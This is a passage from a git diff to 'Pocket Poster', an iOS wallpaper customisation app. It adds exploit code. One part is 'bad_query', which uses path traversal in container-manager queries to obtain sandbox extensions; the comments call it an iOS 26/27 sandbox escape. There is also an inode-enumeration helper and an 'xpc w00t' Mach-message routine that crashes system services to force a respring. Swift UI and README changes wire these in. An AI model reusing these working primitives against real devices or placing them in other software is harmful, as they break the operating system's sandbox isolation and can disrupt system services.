+ if (!mgr) return -1; // Failed to dlopen
+
+ // Resolve functions
+ container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
+ container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
+ container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
+ container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
+ container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
+ container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain");
+ container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
+ container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
+ container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
+ sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
+
+ int64_t handle = -1;
+ if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
+ dlclose(mgr);
+ return -1; // Failed to resolve a function
+ }
+
+ // Create query
+ void *query = query_create();
+ if (!query) {
+ dlclose(mgr);
+ return -2; // Failed to create query
+ }
+
+ // Set up query
+ // Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags.
+ xpc_object_t identifier;
+ if (group_identifier == NULL) {
+ query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system
+ identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache");
+ } else {
+ query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd
+ identifier = xpc_string_create(group_identifier);
+ }
+ query_set_group_identifiers(query, identifier);
+ query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches
+ char *part = NULL;
+ // Oldest trick in the book. Basic path traversal.
+ if (group_identifier == NULL) {
+ if (asprintf(&part, "../../../../../../../..%s", path) != -1) {
+ query_set_part_domain(query, part);
+ } else {
+ xpc_release(identifier);
+ query_free(query);
+ dlclose(mgr);
+ return -5; // asprintf failed for some reason
+ }
+ } else {
+ // We have to go one level higher to get to / from an App Group
+ if (asprintf(&part, "../../../../../../../../..%s", path) != -1) {
+ query_set_part_domain(query, part);
+ } else {
+ xpc_release(identifier);
+ query_free(query);
+ dlclose(mgr);
+ return -5; // Same thing
+ }
+ }
+
+ // To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27
+ if (is_group) {
+ query_set_flags(query, 0x0000000800000000ULL);
+ } else {
+ query_set_flags(query, 0x0000008000000000ULL);
+ }
+
+ // Send our query over
+ void *result = query_get_single_result(query);
+ if (!result) {
+ free(part);
+ xpc_release(identifier);
+ query_free(query);
+ dlclose(mgr);
+ return -3; // Outside of sandbox
+ }
+ char *token = copy_sandbox_token(result);
+ if (!token) {
+ free(part);
+ xpc_release(identifier);
+ query_free(query);
+ dlclose(mgr);
+ return -4; // Kernel refused to issue a sandbox extension
+ }
+
+ // Consume our fresh sandbox extension and clean up
+ handle = consume_extension(token);
+ free(token);
+ free(part);
+ xpc_release(identifier);
+ query_free(query);
+
+ dlclose(mgr);
+ return handle;
+}
+
+void bad_query_release(int64_t handle) {
+ if (handle < 0) return;
+ sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
+ if (release_extension) release_extension(handle);
+}
+
+// This still works on 27.0b5
+// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time)
+// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer
+char *bad_query_list(char *path, int64_t max_inode) {
+ struct statfs sfs;
+ // Prefer the target path; fall back to known on-volume roots if sandboxed
+ if (statfs(path, &sfs) != 0) {
+ if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) {
+ return NULL;
+ }
+ }
+ fsid_t fsid = sfs.f_fsid;
+
+ size_t cap = 65536;
+ size_t length = 0;
+ size_t path_length = strlen(path);
+
+ char *out = malloc(cap);
+ if (!out) return NULL;
+ out[0] = '\0';
+
+ char buf[1200];
+ for (uint64_t ino = 1; ino <= max_inode; ino++) {
+ ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino);
+ if (n <= 0) continue;
+
+ const char *p = buf;
+ if (strncmp(p, "/private/var/", 13) == 0) p += 8;
+ if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue;
+ if (strchr(p + path_length + 1, '/')) continue;
+
+ size_t need = strlen(p) + 2;
+ if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; }
+ length += snprintf(out + length, cap - length, "%s\n", p);
+ }
+ return out;
+}
diff --git a/Pocket Poster/Exploit/bad_query.h b/Pocket Poster/Exploit/bad_query.h
new file mode 100644
index 0000000..4b79ce6
--- /dev/null
+++ b/Pocket Poster/Exploit/bad_query.h
@@ -0,0 +1,18 @@
+//
+// bad_query.h
+// bad_query
+//
+// Created by Taj C on 7/21/26.
+//
+
+#ifndef bad_query_h
+#define bad_query_h
+
+#include
+#include
+
+int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group);
+char *bad_query_list(char *path, int64_t max_inode);
+void bad_query_release(int64_t handle);
+
+#endif /* bad_query_h */
diff --git a/Pocket Poster/Exploit/xpc_crash.c b/Pocket Poster/Exploit/xpc_crash.c
new file mode 100644
index 0000000..13db141
--- /dev/null
+++ b/Pocket Poster/Exploit/xpc_crash.c
@@ -0,0 +1,110 @@
+//
+// xpc_crash.c
+// Pocket Poster
+//
+// Ported from Cowabunga / TrollTools helpers.m
+// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)
+//
+
+#include "xpc_crash.h"
+#include
+#include
+#include
+
+// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers
+extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp);
+extern mach_port_t bootstrap_port;
+
+struct xpc_w00t {
+ mach_msg_header_t hdr;
+ mach_msg_body_t body;
+ mach_msg_port_descriptor_t client_port;
+ mach_msg_port_descriptor_t reply_port;
+};
+
+static mach_port_t get_send_once(mach_port_t recv) {
+ mach_port_t so = MACH_PORT_NULL;
+ mach_msg_type_name_t type = 0;
+ kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
+ if (err != KERN_SUCCESS) {
+ return MACH_PORT_NULL;
+ }
+ return so;
+}
+
+void xpc_crasher(char *service_name) {
+ mach_port_t client_port = MACH_PORT_NULL;
+ mach_port_t reply_port = MACH_PORT_NULL;
+ mach_port_t service_port = MACH_PORT_NULL;
+
+ kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
+ if (err != KERN_SUCCESS) {
+ printf("xpc_crasher: unable to look up %s\n", service_name);
+ return;
+ }
+ if (service_port == MACH_PORT_NULL) {
+ printf("xpc_crasher: bad service port for %s\n", service_name);
+ return;
+ }
+
+ err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
+ if (err != KERN_SUCCESS) {
+ return;
+ }
+
+ mach_port_t so0 = get_send_once(client_port);
+ mach_port_t so1 = get_send_once(client_port);
+
+ err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
+ if (err != KERN_SUCCESS) {
+ return;
+ }
+
+ err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
+ if (err != KERN_SUCCESS) {
+ return;
+ }
+
+ struct xpc_w00t msg;
+ memset(&msg.hdr, 0, sizeof(msg));
+ msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
+ msg.hdr.msgh_size = sizeof(msg);
+ msg.hdr.msgh_remote_port = service_port;
+ msg.hdr.msgh_id = 'w00t';
+
+ msg.body.msgh_descriptor_count = 2;
+
+ msg.client_port.name = client_port;
+ msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
+ msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
+
+ msg.reply_port.name = reply_port;
+ msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
+ msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
+
+ err = mach_msg(&msg.hdr,
+ MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
+ msg.hdr.msgh_size,
+ 0,
+ MACH_PORT_NULL,
+ MACH_MSG_TIMEOUT_NONE,
+ MACH_PORT_NULL);
+
+ if (err != KERN_SUCCESS) {
+ printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err));
+ } else {
+ printf("xpc_crasher: sent w00t to %s\n", service_name);
+ }
+
+ if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0);
+ if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1);
+}
+
+void restartBackboard(void) {
+ xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
+}
+
+void restartFrontboard(void) {
+ // May not kill the calling app on some versions — caller should exit(0) after.
+ xpc_crasher("com.apple.frontboard.systemappservices");
+}
diff --git a/Pocket Poster/Exploit/xpc_crash.h b/Pocket Poster/Exploit/xpc_crash.h
new file mode 100644
index 0000000..74efece
--- /dev/null
+++ b/Pocket Poster/Exploit/xpc_crash.h
@@ -0,0 +1,22 @@
+//
+// xpc_crash.h
+// Pocket Poster
+//
+// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t).
+//
+
+#ifndef xpc_crash_h
+#define xpc_crash_h
+
+#include
+
+/// Crash an XPC service by name (triggers relaunch of the hosting process).
+void xpc_crasher(char *service_name);
+
+/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer
+void restartBackboard(void);
+
+/// Respring via crashing com.apple.frontboard.systemappservices
+void restartFrontboard(void);
+
+#endif /* xpc_crash_h */
diff --git a/Pocket Poster/Extensions/Views/Alert++.swift b/Pocket Poster/Extensions/Views/Alert++.swift
index adb3f31..8c1cc77 100644
--- a/Pocket Poster/Extensions/Views/Alert++.swift
+++ b/Pocket Poster/Extensions/Views/Alert++.swift
@@ -18,42 +18,70 @@ fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
extension UIApplication {
- func dismissAlert(animated: Bool) {
+ func dismissAlert(animated: Bool, completion: (() -> Void)? = nil) {
DispatchQueue.main.async {
lastDismissTitle = currentUIAlertController?.title
- currentUIAlertController?.dismiss(animated: animated)
+ if let alert = currentUIAlertController {
+ // Always clear pointer first so a follow-up present() won't chain on a dying VC
+ currentUIAlertController = nil
+ alert.dismiss(animated: animated) {
+ completion?()
+ }
+ } else {
+ // Also dismiss any orphaned presented alert
+ if let top = Self.topViewController(), top is UIAlertController {
+ top.dismiss(animated: animated) {
+ completion?()
+ }
+ } else {
+ completion?()
+ }
+ }
}
}
+
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
- DispatchQueue.main.async {
- var body = body
-
- if title == errorString {
- // append debug info
- let device = UIDevice.current
- let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
- let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
- let systemVersion = device.systemVersion
- body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
+ // Dismiss any existing alert first so we never stack a buttonless spinner under a new sheet
+ dismissAlert(animated: false) {
+ DispatchQueue.main.async {
+ var body = body
+
+ if title == errorString {
+ // append debug info
+ let device = UIDevice.current
+ let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
+ let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
+ let systemVersion = device.systemVersion
+ body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
+ }
+
+ let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
+ // Always allow dismiss for non-progress alerts; progress uses withButton: false intentionally
+ if withButton {
+ controller.addAction(.init(title: okString, style: .cancel))
+ }
+ currentUIAlertController = controller
+ self.present(alert: controller)
}
-
- currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
- if withButton { currentUIAlertController?.addAction(.init(title: okString, style: .cancel)) }
- self.present(alert: currentUIAlertController!)
}
}
+
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
- DispatchQueue.main.async {
- currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
- if !noCancel {
- currentUIAlertController?.addAction(.init(title: cancelString, style: .cancel))
+ dismissAlert(animated: false) {
+ DispatchQueue.main.async {
+ let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
+ if !noCancel {
+ controller.addAction(.init(title: cancelString, style: .cancel))
+ }
+ controller.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
+ onOK()
+ }))
+ currentUIAlertController = controller
+ self.present(alert: controller)
}
- currentUIAlertController?.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
- onOK()
- }))
- self.present(alert: currentUIAlertController!)
}
}
+
func change(title: String = errorString, body: String) {
DispatchQueue.main.async {
currentUIAlertController?.title = title
@@ -61,14 +89,30 @@ extension UIApplication {
}
}
- func present(alert: UIAlertController) {
- if let window = UIApplication.shared.connectedScenes.map({ $0 as? UIWindowScene }).compactMap({ $0 }).first?.windows.first, var topController = window.rootViewController {
- while let presentedViewController = topController.presentedViewController, presentedViewController.title != lastDismissTitle {
- topController = presentedViewController
- }
-
- topController.present(alert, animated: true)
- // topController should now be your topmost view controller
+ /// Top-most VC in the key window (skips being-dismissed alerts when possible).
+ static func topViewController() -> UIViewController? {
+ let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
+ let window = scenes
+ .flatMap { $0.windows }
+ .first { $0.isKeyWindow } ?? scenes.first?.windows.first
+ guard var top = window?.rootViewController else { return nil }
+ while let presented = top.presentedViewController {
+ // Prefer not to stop on a controller that is mid-dismiss
+ if presented.isBeingDismissed { break }
+ top = presented
}
+ return top
+ }
+
+ func present(alert: UIAlertController) {
+ guard let topController = Self.topViewController() else { return }
+ // If top is already an alert being shown, replace it
+ if let existing = topController as? UIAlertController {
+ existing.dismiss(animated: false) {
+ Self.topViewController()?.present(alert, animated: true)
+ }
+ return
+ }
+ topController.present(alert, animated: true)
}
}
diff --git a/Pocket Poster/Localizable.xcstrings b/Pocket Poster/Localizable.xcstrings
index 33bce34..10edfef 100644
--- a/Pocket Poster/Localizable.xcstrings
+++ b/Pocket Poster/Localizable.xcstrings
@@ -841,6 +841,9 @@
}
}
}
+ },
+ "bad_query available — on-device detect works (no PC)." : {
+
},
"Cancel" : {
"localizations" : {
@@ -2599,6 +2602,12 @@
}
}
}
+ },
+ "Detect On-Device" : {
+
+ },
+ "Detect via Nugget" : {
+
},
"Disable Video Duration Limit" : {
"localizations" : {
@@ -4090,6 +4099,7 @@
}
},
"Exploit" : {
+ "extractionState" : "stale",
"localizations" : {
"ar" : {
"stringUnit" : {
@@ -4242,6 +4252,9 @@
}
}
}
+ },
+ "Exploit (.Trash)" : {
+
},
"Explore" : {
"localizations" : {
@@ -7306,6 +7319,9 @@
}
}
}
+ },
+ "No hash set — will auto-detect via bad_query on Apply." : {
+
},
"Nugget GitHub" : {
"localizations" : {
diff --git a/Pocket Poster/Views/ContentView.swift b/Pocket Poster/Views/ContentView.swift
index 3383456..e81b827 100644
--- a/Pocket Poster/Views/ContentView.swift
+++ b/Pocket Poster/Views/ContentView.swift
@@ -58,10 +58,15 @@ struct ContentView: View {
}
Section {
- if pbHash == "" {
+ if pbHash == "" && !SymHandler.prefersBadQuery {
Text("Enter your PosterBoard app hash in Settings.")
} else {
VStack {
+ if pbHash == "" && SymHandler.prefersBadQuery {
+ Text("No hash set — will auto-detect via bad_query on Apply.")
+ .font(.caption)
+ .foregroundStyle(.secondary)
+ }
if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty {
Button(action: {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
@@ -69,21 +74,23 @@ struct ContentView: View {
DispatchQueue.global(qos: .userInitiated).async {
do {
- try pbManager.applyTendies(appHash: pbHash)
+ var hash = pbHash
+ if hash.isEmpty {
+ UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…")
+ hash = try BadQuery.findPosterBoardHash()
+ DispatchQueue.main.async { pbHash = hash }
+ }
+ try pbManager.applyTendies(appHash: hash)
SymHandler.cleanup() // just to be extra sure
try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL())
- UIApplication.shared.dismissAlert(animated: false)
- DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
+
+ DispatchQueue.main.async {
pbManager.selectedTendies.removeAll()
+ pbManager.videos.removeAll()
Haptic.shared.notify(.success)
- UIApplication.shared.confirmAlert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("The PosterBoard app will now open. Please close it from the app switcher.", comment: ""), onOK: {
- if !pbManager.openPosterBoard() {
- UIApplication.shared.confirmAlert(title: NSLocalizedString("Falling Back to Shortcut", comment: ""), body: NSLocalizedString("PosterBoard failed to open directly. The fallback shortcut will now be opened.", comment: ""), onOK: {
- pbManager.runShortcut(named: "PosterBoard")
- }, noCancel: true)
- }
- }, noCancel: true)
- })
+ // Instant Mond-style respring (no alert delay)
+ RespringHelper.respring()
+ }
} catch CocoaError.fileWriteUnknown {
presentError(ApplyError.wrongAppHash)
} catch CocoaError.fileWriteFileExists {
@@ -99,21 +106,41 @@ struct ContentView: View {
.buttonStyle(TintedButton(color: .blue, fullwidth: true))
}
Button(action: {
- if #available(iOS 18.0, *) {
- guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
- hideResetHelp = false // fallback to tutorial
- return
- }
- UIApplication.shared.confirmAlert(title: NSLocalizedString("Reset Collections", comment: ""), body: NSLocalizedString("Do you want to reset collections?", comment: ""), onOK: {
- if pbManager.setSystemLanguage(to: lang) {
- UIApplication.shared.alert(title: NSLocalizedString("Collections Successfully Reset!", comment: ""), body: NSLocalizedString("Your PosterBoard will refresh automatically.", comment: ""))
- } else {
- UIApplication.shared.alert(body: "The API failed to call correctly.\nSystem Locale Code: \(lang)")
+ UIApplication.shared.confirmAlert(
+ title: NSLocalizedString("Reset Collections", comment: ""),
+ body: SymHandler.prefersBadQuery
+ ? "This will wipe custom PosterBoard descriptors via bad_query, then respring."
+ : NSLocalizedString("Do you want to reset collections?", comment: ""),
+ onOK: {
+ UIApplication.shared.alert(
+ title: "Resetting…",
+ body: "Please wait",
+ animated: true,
+ withButton: false
+ )
+ DispatchQueue.global(qos: .userInitiated).async {
+ do {
+ var hash = pbHash
+ if hash.isEmpty && SymHandler.prefersBadQuery {
+ hash = try BadQuery.findPosterBoardHash()
+ DispatchQueue.main.async { pbHash = hash }
+ }
+ guard !hash.isEmpty else {
+ throw ApplyError.wrongAppHash
+ }
+ try pbManager.resetCollections(appHash: hash)
+ DispatchQueue.main.async {
+ Haptic.shared.notify(.success)
+ // Instant Mond-style respring
+ RespringHelper.respring()
+ }
+ } catch {
+ presentError(ApplyError.unexpected(info: error.localizedDescription))
+ }
}
- }, noCancel: false)
- } else {
- hideResetHelp = false
- }
+ },
+ noCancel: false
+ )
}) {
Label("Reset Collections", systemImage: "arrow.clockwise.circle")
}
@@ -171,11 +198,11 @@ struct ContentView: View {
func presentError(_ error: ApplyError) {
SymHandler.cleanup()
- UIApplication.shared.dismissAlert(animated: false)
- DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
+ DispatchQueue.main.async {
Haptic.shared.notify(.error)
- UIApplication.shared.alert(body: error.localizedDescription)
- })
+ // alert() dismisses any buttonless progress sheet first, always with OK
+ UIApplication.shared.alert(body: error.localizedDescription, withButton: true)
+ }
}
init() {
diff --git a/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift b/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift
index 21e9e94..e7b7e68 100644
--- a/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift
+++ b/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift
@@ -5,7 +5,7 @@
// Created by lemin on 5/31/25.
//
-import SwiftUICore
+import SwiftUI
struct OnBoardingPage: Identifiable {
var id = UUID()
diff --git a/Pocket Poster/Views/SettingsView.swift b/Pocket Poster/Views/SettingsView.swift
index f10275d..49ee962 100644
--- a/Pocket Poster/Views/SettingsView.swift
+++ b/Pocket Poster/Views/SettingsView.swift
@@ -15,11 +15,12 @@ struct SettingsView: View {
@State var checkingForHash: Bool = false
@State var hashCheckTask: Task? = nil
+ @State var detectingOnDevice: Bool = false
var body: some View {
List {
Section {
- VStack {
+ VStack(alignment: .leading, spacing: 10) {
TextField("Enter PosterBoard App Hash", text: $pbHash)
.textFieldStyle(RoundedBorderTextFieldStyle())
.font(.system(.body, design: .monospaced))
@@ -28,8 +29,30 @@ struct SettingsView: View {
.textFieldStyle(RoundedBorderTextFieldStyle())
.font(.system(.body, design: .monospaced))
}
+
+ if SymHandler.prefersBadQuery {
+ Text("bad_query available — on-device detect works (no PC).")
+ .font(.caption)
+ .foregroundStyle(.secondary)
+ }
+
HStack {
Spacer()
+ // On-device detect via bad_query (iOS 26/27)
+ if SymHandler.prefersBadQuery {
+ Button(action: {
+ detectOnDevice()
+ }) {
+ if detectingOnDevice {
+ ProgressView()
+ } else {
+ Text("Detect On-Device")
+ }
+ }
+ .foregroundStyle(.blue)
+ .disabled(detectingOnDevice)
+ }
+
// Run task to check until file exists from Nugget pc over AFC
Button(action: {
if !FileManager.default.fileExists(atPath: SymHandler.getPosterBoardHashURL().path()) {
@@ -40,7 +63,7 @@ struct SettingsView: View {
}
startWaitForHash()
}) {
- Text("Detect")
+ Text(SymHandler.prefersBadQuery ? "Detect via Nugget" : "Detect")
}
.foregroundStyle(.green)
.onChange(of: checkingForHash) { _ in
@@ -138,10 +161,12 @@ struct SettingsView: View {
// MARK: Credits
Section {
+ LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "bad_query port · iOS 27 build", circle: true)
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
- LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
- LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
+ LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
+ LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
+ LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/bad_query", title: "forcequitOS", contribution: "bad_query (iOS 26/27)", circle: false)
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
} header: {
@@ -150,6 +175,59 @@ struct SettingsView: View {
}
}
+ /// Scan containers on-device with bad_query / fsgetpath — no computer needed.
+ func detectOnDevice() {
+ detectingOnDevice = true
+ UIApplication.shared.alert(
+ title: "Scanning containers…",
+ body: "Looking for PosterBoard via bad_query. This may take a moment.",
+ animated: true,
+ withButton: false
+ )
+
+ DispatchQueue.global(qos: .userInitiated).async {
+ var pb: String?
+ var cp: String?
+ var errMsg: String?
+
+ do {
+ pb = try BadQuery.findPosterBoardHash()
+ } catch {
+ errMsg = error.localizedDescription
+ }
+
+ if CarPlayManager.supportsCarPlay() {
+ cp = try? BadQuery.findCarPlayHash()
+ }
+
+ // Always show a closeable result alert (loading alert has no OK button —
+ // dismiss must complete before the next alert is presented).
+ DispatchQueue.main.async {
+ detectingOnDevice = false
+
+ if let pb {
+ pbHash = pb.trimmingCharacters(in: .whitespacesAndNewlines)
+ if let cp {
+ cpHash = cp.trimmingCharacters(in: .whitespacesAndNewlines)
+ }
+ Haptic.shared.notify(.success)
+ let body = cp != nil
+ ? "PosterBoard:\n\(pbHash)\n\nCarPlay:\n\(cpHash)"
+ : "PosterBoard:\n\(pbHash)"
+ // alert() auto-dismisses any previous (buttonless) sheet first
+ UIApplication.shared.alert(title: "Hash found!", body: body, withButton: true)
+ } else {
+ Haptic.shared.notify(.error)
+ UIApplication.shared.alert(
+ title: "Detect failed",
+ body: errMsg ?? "Could not find PosterBoard container. Open Wallpaper settings once, then retry.",
+ withButton: true
+ )
+ }
+ }
+ }
+ }
+
func startWaitForHash() {
checkingForHash = true
hashCheckTask = Task {
diff --git a/Pocket-Poster-Info.plist b/Pocket-Poster-Info.plist
index 8073dc1..4ca2a52 100644
--- a/Pocket-Poster-Info.plist
+++ b/Pocket-Poster-Info.plist
@@ -11,7 +11,7 @@
Owner
LSItemContentTypes
- com.leemin.tendies
+ com.mak5er.tendies
@@ -21,7 +21,7 @@
CFBundleTypeRole
Editor
CFBundleURLName
- com.leemin.pocketposter
+ com.mak5er.pocketposter
CFBundleURLSchemes
pocketposter
@@ -43,7 +43,7 @@
UTTypeIconFiles
UTTypeIdentifier
- com.leemin.tendies
+ com.mak5er.tendies
UTTypeTagSpecification
public.filename-extension
@@ -66,7 +66,7 @@
UTTypeIconFiles
UTTypeIdentifier
- com.leemin.tendies
+ com.mak5er.tendies
UTTypeTagSpecification
public.filename-extension
diff --git a/README.md b/README.md
index fc0df5c..fa42ce2 100644
--- a/README.md
+++ b/README.md
@@ -4,18 +4,25 @@
Pocket Poster
-
Custom PosterBoard Wallpapers for iOS 17+
+
Custom PosterBoard Wallpapers for iOS 17+ · bad_query for iOS 26–27.0b4
+
Maintained / iOS 27 port by Mak5er
-
-
-
-
## Getting Started
-Since there is no way to read files currently, you will need a computer to get the App Hash/UUID.
+
+### iOS 26 / 27.0b4 (bad_query)
+On versions where [bad_query][badQueryGitHub] works, **no computer is required**:
+1. Install the IPA (sideload with TrollStore / SideStore / etc.).
+2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
+3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
+
+**Reset Collections** wipes PosterBoard descriptors via bad_query, then full resprings the same way.
+
+### Older iOS (legacy .Trash exploit)
+You will need a computer to get the App Hash/UUID.
Download [Nugget][NuggetGitHub] on your computer and plug in your phone.
Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button.
@@ -25,14 +32,19 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun
Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help.
## Credits
-- Translations crowdsourced using [POEditor][POEditorJoin]. Thank you everyone who assisted in the translation effort!
+- **[Mak5er][Mak5erGitHub]** — bad_query integration, iOS 27 port, full respring, on-device detect
+- [LeminLimez][LeminGitHub] — original Pocket Poster
+- Translations crowdsourced using [POEditor][POEditorJoin]
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
- [dootskyre][dootskyreX] for the fallback shortcut
-- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the exploit
+- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit
+- [forcequitOS][badQueryGitHub] for bad_query (iOS 26/27 sandbox escape)
- [SerStars][SerStarsX] for creating the website
[CowabungaWallpapersPage]: https://cowabun.ga/wallpapers
[NuggetGitHub]: https://github.com/leminlimez/Nugget
+[LeminGitHub]: https://github.com/leminlimez
+[Mak5erGitHub]: https://github.com/Mak5er
[CowabungaDiscord]: https://discord.gg/cowabunga
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
@@ -41,3 +53,4 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun
[NathanGitHub]: https://github.com/verygenericname
[DuyKhanhTranGitHub]: https://github.com/khanhduytran0
[SerStarsX]: https://x.com/SerStars
+[badQueryGitHub]: https://github.com/forcequitOS/bad_query